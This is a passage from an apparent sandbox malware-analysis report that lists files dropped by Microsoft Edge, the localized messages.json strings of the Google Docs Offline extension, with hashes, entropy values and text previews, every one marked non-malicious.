Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7988_1914786284\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

